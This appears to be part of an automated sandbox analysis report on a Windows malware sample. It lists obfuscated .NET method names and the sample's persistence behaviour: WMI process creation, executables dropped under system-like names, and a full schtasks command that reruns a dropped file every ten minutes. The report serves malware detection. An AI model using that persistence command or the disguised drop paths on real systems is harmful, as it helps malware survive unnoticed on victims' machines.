            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, vPb3L1SPHlXYrsQw7iT.csHigh entropy of concatenated method names: 'sMZ4Do5poc', 'wglJL3R2MBAOY4aiIad', 'or32WJR1qrRnMjPPPNt', 'dd8LXgRpqfjXUrjg1y2', 'YwWi7UR5qYHHfPC9VKF', '_1fi', 'QdCUyEMjYH', '_676', 'IG9', 'mdP'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, ftGa6BraQOjno1SIkFm.csHigh entropy of concatenated method names: '_5u9', 'fMNgkNIWw9', 'NQfXFNY8uL', 'UKjgi5LhfJ', 'f2M6X7QWFSyYAZViCWr', 'tvbK6OQYelX2JA9cboU', 'aCprQHQLcTYHw9DQ3Kn', 'N9ivUtQkqKKZCdYE5Dg', 'ugqsvPQroSph9DSGrcT', 'wHp0QsQzqNs1F7MjoII'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, r22YNhieAoVYO8ID1Td.csHigh entropy of concatenated method names: 'jkrEFg5xw8', 's7W2YEDWUy5fYLOP5VM', 'RrtyK1DkVxHGoi5IViP', 'uuxj5PDrLpb5Ahyc55g', 'Qqw4BpDY48vsGdiwAhn', 'I9Nj7GDLWdFC9pECg2C', 'kHQdGbDz05u6T3vK4Wm'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, uD4NBsWeiBl8lC2Lixu.csHigh entropy of concatenated method names: 'r1Di34NBsi', 'W3AQ6WTY4WQjWrl4QGq', 'wFlwaoTLr7b7oremr01', 'BQKCWnTrEujUGm5qkrT', 'dpb7tLTWPrgR5SVSDMN', 'QHhyZpTzTLhwLRuyPIl', 'PHFdIrnfRqeKY8hoggd', 'CCnJKYngo1gIpa5OuZZ', 'glkP0xnsOYe0I9M3Qhy', 'pUw1J2nXhAMoXIRcUaG'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, chuBSdItFdo1sGWjCPJ.csHigh entropy of concatenated method names: 'amS3exrrnLkvm', 'Mvl0f7eigQpYkFSfxEX', 'DF1WXBehQHHYmC9pJkV', 'BnZQX6eTTNiFaMceRIS', 'BW2myNen8An5Q9khhAw', 'h6R0s6eP1pFcPxDk9ll', 'YPnEppeEITUrUAXY1op', 'KUqqiceqxSaNolWTcjE', 'C3xsXUeHQeRfyBVyaRL', 'nl4OSPeuqJrwIhEcvGS'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, OeI5x7SaOGR6VJxYrE7.csHigh entropy of concatenated method names: 'PJ1', 'jo3', 'wPh37Abbck', 'FSV3Xw5gKc', 'MFJ3tCFevp', 'EC9', '_74a', '_8pl', '_27D', '_524'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, UwoJjermeXYcQvUKS3D.csHigh entropy of concatenated method names: 'GAsJaYFDrsq94yKgvJZ', 'Jq5j17FVpIRVLkK6VZm', 'fCw4YtFZ7dJa9dN7d5C', 'qUZA6YFbyXZjxOIeJM9', 'IWF', 'j72', 'DqTXTvrtQP', 'VbeXG6NjRM', 'j4z', 'PuRX5fXXja'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, mnvJZlaMfUyXKCQmDI.csHigh entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'NtuIh8Gnqy826ljUd3G', 'Eay1KyGP4GxuiAwP386', 'NH6uNNGHvPqWkKR4Aym', 'eSbO5WGuPk6RCF5duHt', 'wuYF6SG7uPinoTw962F', 'cH5bFaGUC20wjEWQoAl'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, aoVEkCSKSkIJ38vqgKA.csHigh entropy of concatenated method names: 'CRWl7ZRG2bsv6OBDc5d', 'JLkZ6xRCso6sARfLCop', 'zeqUjeRswN3WY2VL68w', 'ExnoLhRXovVLPpGr8hQ', 'paUjeFvqlH', 'WM4', '_499', 'z3Kj0brUVu', 'j6CjP4QQlm', 'vJbjD7VQd1'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, ehiFyxBQgNHJOAg69k3.csHigh entropy of concatenated method names: 'XxiB3U6Gv5', 'C92Icm4nygg9hh6glZA', 'o5gIJu4PABklkFslcMw', 'Nu7olN4hqTxQfb0mt4o', 'eQWQgQ4T51FEU2f7k79', 'T160Ph4He9xtsTLqyrN', 'u0GRf94uiL6Hn7GAOMK', 'fYfp3647EOVht3lMOjZ', 'rJYSBp4U4RY5KMkPvMt', 'f28'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, JeixX7rfpmXF4OxRM4M.csHigh entropy of concatenated method names: 'GwaL8uYPP2', 'aJFLatNXyN', 'n2GLwtfUtU', 'QWvLCGTmFg', 'qP91j77M13f6AsnUiGV', 'Xlv0eA7ZYRAOZfuhdLK', 'csfWrl7b7enJ9QZ7LXr', 'tuOgnQ7ycQmVSw9KhT7', 'SJRcX27mhtLK2GVIWdL', 'MAhYTf7DBLOqhRjXiOY'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, bmB5UWrlBuBo2lBKT2W.csHigh entropy of concatenated method names: 'fLELcey7bO', 'FZuLZEbRQU', 'D0uLyaSM2P', 'z7EM7F7e3SCPT0Vk5tg', 'hGGau276HfNCNbQlw0s', 'rncNP17wSp2GyaJiECw', 'NH5Efh7IIxpwP08TJU7', 'uaxm1w7Jf6aWde1uPhk', 'rMqpce7NERo5da0wxQM', 'cydE967KxalWpVk6oE5'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, owQUWjirMdvMwUs4tPR.csHigh entropy of concatenated method names: 'lUmMMDmQleU1AwJWYWA', 'fZNKq2m9kskxApSRfoR', 'XkuUNCm7KEGNJW3T6RQ', 'VWy1d6mUDA86QA7EntJ', 'HjmVqSTeK0', 'FNZMvNmtobnAAfKYKtC', 'iHkjJMmcNTBOhMGM5KD', 'AQ5UbgmFOPOGBYJWiHK', 'jF1eyVmOx2of5kSv4sI', 'O2fNWtmpjs5CWVKeQ05'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, mwCAgOkq8vZekNLBjxp.csHigh entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'aoVAFEkCSk', '_3il', 'fJ3AB8vqgK', 'meYAWs0O4h', '_78N', 'z3K'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, HiRqmHBbikFE3pcepOr.csHigh entropy of concatenated method names: 't1qWB3c0cd', 'UYwWWE6QYp', 'xVSWrQptJH', 'Aa51mt3N2FysPFHfIkv', 's1bffr3Krebf4oTGSd8', 'XDRkkM3It4NHG4SB05t', 'mhohAT3JRT8r5urZrAm', 'jaSMOd3BObiG01DSqM5', 'eXsWCo3ki5turTkbKkQ', 'xX3RtJ3rbZUvFXuasj6'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, v1mPZ3BGxiypmB174Fc.csHigh entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'sYJ27X4fF57DB1xZpjh', 'n6CteJ4g7g9bgWD1YLo', 'Qg8feC4so2nhTaqDTHX', 'HRrMFp4XE9LNIm8hsVi', 'K5EDns4GXcn5WGKWkCG', 'ywKQRH4C9Ewr5wCrmer'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, TnmRZSC2Ur3q6QLJtq.csHigh entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'jRyUZVGRvbn6GhmraeJ', 'kB7mqUGowI62bJN8uvi', 'xnvH7xGeQQpQhghD8KL', 'dk9upjG6HLpJq57dBNt', 'TNwW72Gwspi2x3Tg8jU', 'a0IvLgGIu12t5q3kggo'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, X9Slo7BeitBAvH6JNC6.csHigh entropy of concatenated method names: 'Y9bBpytKZZ', 'H114LQ3FMP3K0rbkVJ9', 'gAueGI3OdIlExOD7YgI', 'gEeL2j3QET95b7xjpYZ', 'qFZb7X39QvJ9x16BXHn', 'tt5wgj3tqtx617erB2C', 'QLw', 'YZ8', 'cC5', 'G9C'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, GJeFLekT5Y5Ab176UZv.csHigh entropy of concatenated method names: 'W452kDV0id', 'lWS2iKMCeH', 'r1i2SA5pYS', 'BnfmZXtTYTtZFIYe8Mr', 'XU4X30tn2TiEH1SG9mM', 'F8kMHHticrT6aS6uqJG', 'NKvymSthvx4E48VmaB9', 'ETS1pTtPhpIEt5mIHMP', 'IYErB3tHK4qNJQOaR9s', 'IgReKxtuudA6V5hHy7O'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, rvEk1VkMVlCuTYWeIi3.csHigh entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, YJ9JWqk2faNnBFH5fP1.csHigh entropy of concatenated method names: 'GHGY0trsxP', 'AoMYPkVRdj', 'oEIYDPIY9W', 'zWXYRvp1Fj', 'TmTYuAf5pk', 'WncyIeOLtPRDmqh4n38', 'jxH0gmOzvXlNtyjv86n', 'i3cZ3LOW4Q1nplyJTmq', 'VIllo0OYNov9mxoyUsW', 'LiMRPstfQ9HbMEX6P9Q'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, xy2o9FrQ7HFyV9bwvSX.csHigh entropy of concatenated method names: 'H3G76Gy04d', 'xIU7lum6q5', 'MjH7TCZZfc', 'gw9xfAUR1ovwySKiPGf', 'q3Y5SZUxGeuRD8sS2t2', 'VIN9qVUAlHM2FkC0WmO', 'Wmb3m5UoWd3jxoeWRJn', 'BeJ7SeFLe5', 'k5A7Ib176U', 'Rvk7LN9rgt'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, fcpk8KryAM0f1ndVGT3.csHigh entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'KDsXtlWlhJ', 'sDhg2NHR4S', 'HU5XYsmuke', 'vvigAmGXOJ', 'aFY3779VasV2xJKEBTG', 's8OxPL9a0JCmhKxDoJn', 'xVFgFp9bcYFtBVA9B93'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, LHDUGaBE90hj1m7LhtJ.csHigh entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'LHn9ia46GEqeurx9fbP', 'ht5JLo4wtU9P91Mp0oZ', 'MWk1eD4ICMlibSsQliW', 'UlNLf84JUYPGvkgu7tF', 'trNK3b4NLJNMq1gtqkR', 'rxmPpP4KSfCROlg4doR'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, g6IIqZByfgpsl08TJdt.csHigh entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'HxsNkfSyM6PkVgmpIHl', 'MWSSYSSmTYLW1qPbP3S', 'Qrtto9SMBGNPP7PaH1p', 'G9PdVuSZrsaSxWSc3kY', 'cVAsSWSbXx3B5el18CX', 'lFSGlhSDptSW2TFyi2Z'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, X0eoZ7BjZLIKHcXaTNV.csHigh entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'UUmf1W4Lr3bbCkFh3YP', 'MnC6Wb4zoOsFfeRepPa', 'iqnNP1vfRxdM2slkFT3', 'h7VNK2vgfmlCAW85xZS', 'LagbVlvs1kjRmdfpwPx', 'l0mg6qvXUO1hhGAADLp'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, uUn1PtB4RRnKZbJjIuG.csHigh entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'DqqNmTvb7ri41SIovv5', 'tW4X8NvDNqyITSixqJZ', 'UVybF4vVYfyqT8eBJrg', 'DW3HnMvaT8ld89blMkc', 'LSbh0gvjXSStIGD7bXM', 'D956rXvxDWrwtaI6YBi'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, gqrrh4WxZ71yFx6SJwT.csHigh entropy of concatenated method names: 'XAgIEM0S7d', 'PLLLFjPJcO5hCAf0tGS', 'L4hKVhPw6a8SaOK3SRG', 'V2u3GaPIiny8WdbAeKX', 'uTO6xpPNKqwFdn6FYuS', 'j6HPLMPKvZ9TiDYTnqd', 'bHSI5DoG6N', 'JiJIQkuOfu', 'cJHIVXIxCB', 'tbtIoPDba9'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, AdEIUukom6q58jHCZZf.csHigh entropy of concatenated method names: 'aGZ2KCoH4q', 'wX92eVii4G', 'YgH20fZaOZ', 'Ih82PGLrNB', 'SGp2DDu8us', 'zKWXWItZ6nM8pJgL6b4', 'Wifry0tbpe0LYum6Ywc', 'fgIypjtmW4g3C0W807Z', 'F8VcsQtMNxm06oJBr9X', 'n1S6XmtDuDn24HEPko0'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, txqHHcIAn3cG2gpMFUv.csHigh entropy of concatenated method names: 'qRZs7Ket2ICjbSkqMFo', 'BX778Cec42KLbuSGBwO', 'DSaATyeFeosvLKRS2Uu', 'MJMUW9eO8p6VPetCoPZ', 'GIFnfJdB76', 'QaycdNe2oh0fkxkOKdR', 'oRhSVje14Q07rI0fFF6', 'RWv0aEeyufsK5pn7MVk', 'ixQqcgem0giP2jXaI7A', 'QuEkOIeMKsc0ymuWsc5'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, nVyFORkiVcX2SJ01k4Q.csHigh entropy of concatenated method names: 'CEQYTLCbeU', 'lc5GWAOPfHeB6qihn4L', 'DOVedYOHX2SXMjRY7QP', 'DtSkG6OTSyZA3hc1shI', 'YtBiO0On2fbVVlKkynO', 'JvKX9pSOHn', 'wwPXn2AGfi', 'afNXgqF5XO', 'V63XKcLmDw', 'wTDXeCQ0Jb'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, zxrt9trpWfBjSrqw8Bm.csHigh entropy of concatenated method names: '_269', '_5E7', 'UwAgfHaXTp', 'Mz8', 'qEdgl3pkCB', 'VvfWcY9Nrg1ijldvXGy', 'iggPOe9KibUY39C0wcx', 'NOnvY29BVuKA49nhRQg', 'rDwwoL9kjo4t3m2OK9O', 'mnPNRZ9rVAjRHcsw0Lp'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, UCtfnsBc6Igi21u3E5W.csHigh entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'GUhE7nS7mBmvYScRSVr', 'B60qd3SUIA5Zqb5N9S8', 'm6362VSQwZQhn5oH1q1', 'RLhAdUS9wWxLLXXvy6c', 'VtQQYRSF5tj3tRvMBer', 'SwUDRSSONAo42ojNpcY'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, iStXi6K7La8dHgJHSc.csHigh entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'iHh8noEh1', 'FI96EisZKHNjErSu0ko', 'gVycFVsb3prPopA1fiP', 'NJkEHtsDD3tPe81NtEI', 'LRFPeosVuZV2cxMJGjY', 'Blghtwsa1sOLVr7eQ21'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, LacxQ0JmpUkv9NtRXM.csHigh entropy of concatenated method names: 'iNWeUCeUw', 'SxF0psBrX', 'UZxPxgq2S', 'xjuSHhgVGvwp86pWpxK', 'PDgfoogbov3Hhye0jtu', 'i3IlDfgDVMCq1eVBNdr', 'P3gVOWgaq513ZoDWluo', 'lb2WeygjerjSYh9jmBa', 'bRHBbggxHMoeN9oqnHw', 'MIXyOegAjStTyOyncuk'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, zaWhSwivrodtKZ1Vifo.csHigh entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, OXrG6LBpwYNFK6p8wWq.csHigh entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'a82xDkSI26ksooCDmS0', 'wgHF90SJgXAphLytVFg', 'QC6vgPSNHC00XnDIT7h', 'E2VRKoSKcASWNf7UG2h', 'MmEF4OSBYgib6BA2Vww', 'aQ6WdvSkYURjx0Ax2TP'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, kZMAm9WDjIhjk25ryDN.csHigh entropy of concatenated method names: '_0023Nn', 'Dispose', 'GPmieMLsFS', 'Kowi0IYZMA', 'W9jiPIhjk2', 'qryiDDNt7Y', 'WJgiR2k9xO', 'xiMWQvnvIBas1NvHZ0K', 'WbVROfn3HKDFuWPDO38', 'gAlXoLndIB5ceBvR63O'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, aoUf2LuNJ8hfV94RhH.csHigh entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'floAYnXrev0U9ENL9Fh', 'ra3wWuXWFMcg2yycGXk', 'GeWLOZXY1HiNaYUu8js', 'Bx8QP9XLWUQm35crBop', 'VyrpS9XzePS8ZU5dBi6', 'qUjC9IGfB36P7wfngMF'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, ITbUg2Mo1q3c0cdHYw.csHigh entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'k2OS1dCBkeCZdL8XF4R', 'rWWVo9CkNfxehkioQir', 'IXDEkGCrudtpeuqW539', 'hh357HCW5GMjGtPbpWL', 'AvltFWCYcdLGr171hj4', 'ovoKmOCLjZXaK20288l'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, iLFEnIrXEjJeQZxBiRL.csHigh entropy of concatenated method names: 'C4PLKxX70I', 'qU3LepfDKX', 'o0PL0ttCPe', 'CBYevT7qYl62rqfp6Ot', 'xaw8CZ7lRtd1iXNete4', 'pxZlSD7EkNA28jxePRu', 'vCAVtj7isRC6Z2a1qCB', 'ajSL6rqw8B', 'VQsLlAkGkC', 'HBqLTnrUri'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, detYNLSWyR4JVHOUCMa.csHigh entropy of concatenated method names: 'UxhJLK2W63', 'bg1J7PUcFL', '_8r1', 'LVLJXnw8Zg', 'BXXJt5v7ls', 'Ij9JY8eqJa', 'gBkJ2nTfuu', 'BAi3O1jhrVxujsInOkh', 'QPD57EjTPUmWUuB16d2', 'QWKFEWjnVno5wAiQMhI'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, IKwXoMrGy4yfMOykW5p.csHigh entropy of concatenated method names: 'dkKLvmrNYn', 'B4mLpauyvn', 'JVlLHvGxd0', 'FiULmhxJ9J', 'bqfLNaNnBF', 'yk3oKeU83mOQ0pnLxIZ', 'U5kWPrUdie1GNfL8bqp', 'WZisXUUGnvIRPWwoqyP', 'stsDKOUCXIAH8xfvLhq', 'hM9T2LU4hKoYOZ4rgRO'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, NOcLtdck1yhu5mt6Oo.csHigh entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'zln01dC8tctkoqC8G4x', 'pgWyn3CdhKXn9hlIGjq', 'K5bapXC4xHuxdRN9QdT', 'lxlUU9CvRfGp46V553F', 'a9CmjXC3gwtFAO4anq5', 'dH3u34CS0ywUABFrIAY'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, N5jEwfWWBDwJhiQngly.csHigh entropy of concatenated method names: 'b98WOgANKo', 'tIkWchiFyx', 'ENHWZJOAg6', 'Ck3WyPj97S', 'tINWvm7W3l', 'AUIWpbKyms', 'IwtcoQlnQIbXp7q3flm', 'Kxn31clP7tYp6KXc1Ib', 'cGyiHVlh0eYyne48sZ7', 'Ge0kAxlT0q10G8WRVMy'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, WSRkxoSjf1Z72gDiE3K.csHigh entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, HIGqsrdwi0PRAFyGWg.csHigh entropy of concatenated method names: 'wgQqqEv6i', 'sDhENHR4S', 'vviJmGXOJ', 'UwAjHaXTp', 'wFbUkIenY', 'qEd43pkCB', 'kaB3PO8r0', 'OOrYOXg4FYMjunwLaRi', 'ipU3UrgvIMe3BgN9kTC', 'r664PAg3wesdA59mlNP'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, fvLb5WWu90sPxsCYgUG.csHigh entropy of concatenated method names: 'wteSLjABTo', 'lJXS78rTAG', 'y5VHCSnk77GBfALWnun', 'MtZqddnrWOdZPl9617h', 'zYQOsnnKM7f9Fpd9d9N', 'YklqxfnBAWBONuVthVY', 'wrrSTh4Z71', 'e9RGZZPfU7MhNdIypVm', 'LcT88gPgJVFcM02ScNa', 'nDqh5GnLAPMeJ7oDOgP'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, ho6WbdBlpwvOpiUMvi7.csHigh entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'xKU2K8dKKU8k5h2YIg0', 'rg450edBMRBaRehT1Zf', 'EYaJk7dknQSDq7PLjRE', 'g2vw1SdrAsGLdnK6o8v', 'LDIQAPdWGQLaEgS1jsx', 'CRD37xdYBEBQUTgGuQ7'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, dqUasvBx0NZXQpsPNQf.csHigh entropy of concatenated method names: 'LN5WdBD9xJ', 'vReWsZZNuX', 'eyNWqcd2kH', 'myCnG50SKtcOTZl4wWJ', 'd7DkpB0v0iT3alHqbcF', 'gBRXoZ03BFTy4hqZfVJ', 'dVynec00UxDSgZPMHwI', 'ARCVn70lvSAf4VstBtS', 'CjVFsy0E8mtwZvlBd7b', 'HBaksC0qPdftnX5DEec'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, UNRxyMrzelPtjjTxaMd.csHigh entropy of concatenated method names: 'EC5XUvEk1V', 'tlCX4uTYWe', 'gi3X392Os6', 'Ii2IkvFxtRhKN3kTKxL', 'iSfWIkFA9iNKVLwmjZI', 'j9GdQcFaTpp27AtxQ2S', 'doVma5Fjf5rfwDLo9YJ', 'TkvGDYFR1AvFEE4yBGj', 's5o5KOFo47vfOg6O4SV', 'W4SnTeFe83O3pRDQPZc'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, abHF0fDviabpP7Dbey.csHigh entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'xVsYgGXb7DjS57yM7t1', 'qBA4UPXDIg2t90Ewtvo', 'CAndqkXVho0gtPXFOAb', 'XWLgxYXaXRDY1ajbtTl', 'UM4D75XjoNSZ5YO1RJa', 'ab6jBaXx9jlxffHhuCM'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, Bk2K3sBIP0Fom0dpQy0.csHigh entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'H5ksDR8ktFyWN0F9jcJ', 'Kxlq698rr9JRJVIoTAu', 'qVQAM68Wem90DjTRX5o', 'hJKRlW8YITQ1W0urbcT', 'a950MQ8LtLrxewoVQIB', 'fyD5xn8zMH2PbEr3geh'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, vU1Tlqrcoufdg6C1MQQ.csHigh entropy of concatenated method names: '_9YY', '_57I', 'w51', 'BOcgXspta1', '_168', 'f7sC739OBnNauT3Nl4J', 'aMSbM59tf80kt6a6jS4', 'Sf8xUo9cAOqKnL4hagW', 'zOKxFq9pnhSNnm7xoiq', 'pwqYQV95yF0AIHPeroH'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, YJdReZB7ZNuXiyNcd2k.csHigh entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'lv3nQNdduOmYY9EUH3u', 'BdmP2Kd4jsNqBggOw20', 'VfIR2Xdv6PWxWwIDgi5', 'JZNB18d3Hulx6K3eqYM', 'y1B66gdSFgTgvtBRlPI', 'h5h9oJd02Zi4T0PGfFx'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, oMrumcBDvgBPlEfw6Un.csHigh entropy of concatenated method names: 'dpvBM77D8n', 'Md5V8B3Dr7rrqVGDx6F', 'gTiNFh3V5VnnD2gUuNY', 'J20xDh3ZZhtuj9IvgoE', 'zFxC4f3btxYrV58O8B7', 'tX1pjk3aNPC7l8wMIxh', '_3Xh', 'YZ8', '_123', 'G9C'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, CYQtasBfjawQCjNmMCt.csHigh entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'uYBRSidaeIQ2ycjgCtX', 'peOQLPdjv7D7VewKr1X', 'hGD0WydxwEwsmvQpwvi', 'TGaR9IdAP4LpY5B2hDD', 'x1MBkbdR3doB3CrJPJ0', 'INlJbSdomH8VAcERPOk'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, J5KtktrkdPY07wymo70.csHigh entropy of concatenated method names: 'QR2Iht5IQf', 'oHpI865I91', 'IpBIauOf7J', 'nIrIwWeKrg', 'XEGICYvDL5', 'K43IOMv5n4', 'PqyJCRH53kCI2og6jlL', 'LSI0jRHcLCx8GE7VDiU', 'MSlWEyHpBDhq1fXY4v7', 'fh0e3uH2H8biPeXPnJf'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, RCG3SuBBisWIjaqMY7s.csHigh entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'G26j488HuveiN1x9Gm7', 'GF9KAo8uQCnRcXAfyLl', 'VPbXCP87yMBREeyJ3aN', 'HWgWXU8UnJhAdT7BxqY', 'aAeXT18QDLrmabx3p1K', 'DYOBah89Z5xbjLqBPdI'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, qQklN7SEBUWHiIcyKNg.csHigh entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, uo3KkprCRPYpJiKgO40.csHigh entropy of concatenated method names: 'oYo', '_1Z5', 'UiNgILlRTQ', 'GMsXkDNPd8', 'HJ2gLKp3NQ', 'Iau0vJ9ErUwxHVEiWpy', 'GRmygl9qkm5GIUq9jSY', 'nihMnT9iZZq1brE84n7', 'PieZin9hI6xNIsbLaAl', 'eVKdjj9TVFgc8WKDjCE'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, VSqf54WTil1GDFTqgFk.csHigh entropy of concatenated method names: 'ydtrMhCNeF', 'jSgrxjHGlo', 'zBPOA3qHNT7saH1EonZ', 'xMCwoFquP0i8k2pFh6Y', 'Byl2mQq7kMUqB6LkBoK', 'J1wO9YqUR7lOOVh4Mdy', 'PRdopcqQ37vg8NaCH2L', 'XmWxOkq9D5Ld78f3vkD', 'SO4qVjqFdJIhQX3DE2S', 'eF5O05qOjkXyAjWPtnd'

            Persistence and Installation Behavior

            barindex
            Creates processes via WMI
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile created: C:\Users\Default\Videos\winlogon.exeJump to dropped file
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeFile created: C:\BrowserreviewSavesruntimeperf\Blockreview.exeJump to dropped file
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile created: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeJump to dropped file
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeJump to dropped file

            Boot Survival

            barindex
            Uses schtasks.exe or at.exe to add and modify task schedules
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /f
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
